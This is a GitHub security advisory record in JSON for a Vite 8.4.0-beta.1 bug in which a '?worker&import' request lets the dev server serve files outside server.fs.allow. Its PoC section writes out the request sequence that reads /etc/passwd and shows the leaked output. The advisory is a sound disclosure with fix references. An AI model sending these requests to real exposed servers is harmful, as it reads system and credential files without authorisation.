{"id":"GHSA-qppr-rxr4-jjq2","summary":"Vite [beta only]: files otuside `server.fs.allow` and not included in `server.fs.deny` can be served by two requests using `?worker`","details":"\u003e [!IMPORTANT]\n\u003e **This advisory only affects beta versions.**\n\n### Summary\n\nWith 8.4.0-beta.1, the contents of files that are outside [`server.fs.allow`](https://vite.dev/config/server-options#server-fs-allow) and not included in [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) can be returned to the browser.\n\n### Impact\n\nOnly apps that match the following conditions are affected:\n\n- explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host))\n- the sensitive file exists is not specified by [server.fs.deny](https://vite.dev/config/server-options#server-fs-deny)\n- Uses v8.4.0-beta.1\n\n### Details\n\nIn 8.4.0-beta.1, a dev server can be made to serve any file outside `server.fs.allow` that is not matched by `server.fs.deny`, with two unauthenticated GET requests and no preconditions:\n\n1. `GET /@fs/\u003cabsolute-path\u003e?worker&import`. The worker plugin generates a `WorkerWrapper` module whose body embeds the request-chosen path, and in doing so registers the absolute path in `config.environments.client.safeModulePaths`.\n2. `GET /@fs/\u003cabsolute-path\u003e` 200 with the file content. The safeModulePaths check short-circuits before the `fs.allow` check.\n\nOnly `server.fs.deny` matches keep working after registration. `?sharedworker&import` triggers the same flow, and `?wasm` / `?init&import` / `?source&import` queries register `.wasm` files the same way.\n\nThis is new in 8.4. The poisoning write (`fileToDevUrl` → `safeModulePaths.addId`) was introduced by commit https://github.com/vitejs/vite/commit/e258ce140eef64cf89ff38c410125abd8726f274 (https://github.com/vitejs/vite/pull/23168).\n\n### PoC\n\nMinimal reproduction (two requests):\n\n```\n# 1) Before registration — correctly denied\nGET /@fs/etc/passwd\n-\u003e 403 Restricted (\"The request id /etc/passwd is outside...\")\n\n# 2) Register the path via the worker query\nGET /@fs/etc/passwd?worker&import\n-\u003e 200\n-\u003e body: export default function WorkerWrapper(options) {\n     return new Worker(\"/@fs/etc/passwd?worker_file&type=module\", ...)\n   }\n\n# 3) Read — now allowed\nGET /@fs/etc/passwd\n-\u003e 200 (text/javascript)\n-\u003e body: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:...\n```","aliases":["CVE-2026-140098"],"modified":"2026-12-01T19:15:03.090206279Z","published":"2026-12-01T19:02:48Z","database_specific":{"nvd_published_at":"2026-11-30T23:17:24Z","cwe_ids":["CWE-200"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-12-01T19:02:48Z"},"references":[{"type":"WEB","url":"https://github.com/vitejs/vite/security/advisories/GHSA-qppr-rxr4-jjq2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140098"},{"type":"WEB","url":"https://github.com/vitejs/vite/pull/23168"},{"type":"WEB","url":"https://github.com/vitejs/vite/pull/24206"},{"type":"WEB","url":"https://github.com/vitejs/vite/commit/a78fb8a28db01e83611120012bd5d1189bab68aa"},{"type":"WEB","url":"https://github.com/vitejs/vite/commit/e258ce140eef64cf89ff38c410125abd8726f274"},{"type":"PACKAGE","url":"https://github.com/vitejs/vite"},{"type":"WEB","url":"https://github.com/vitejs/vite/releases/tag/v8.4.0-beta.2"}],"affected":[{"package":{"name":"vite","ecosystem":"npm","purl":"pkg:npm/vite"},"ranges":[{"type":"SEMVER","events":[{"introduced":"8.4.0-beta.1"},{"fixed":"8.4.0-beta.2"}]}],"versions":["8.4.0-beta.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-qppr-rxr4-jjq2/GHSA-qppr-rxr4-jjq2.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N"}]}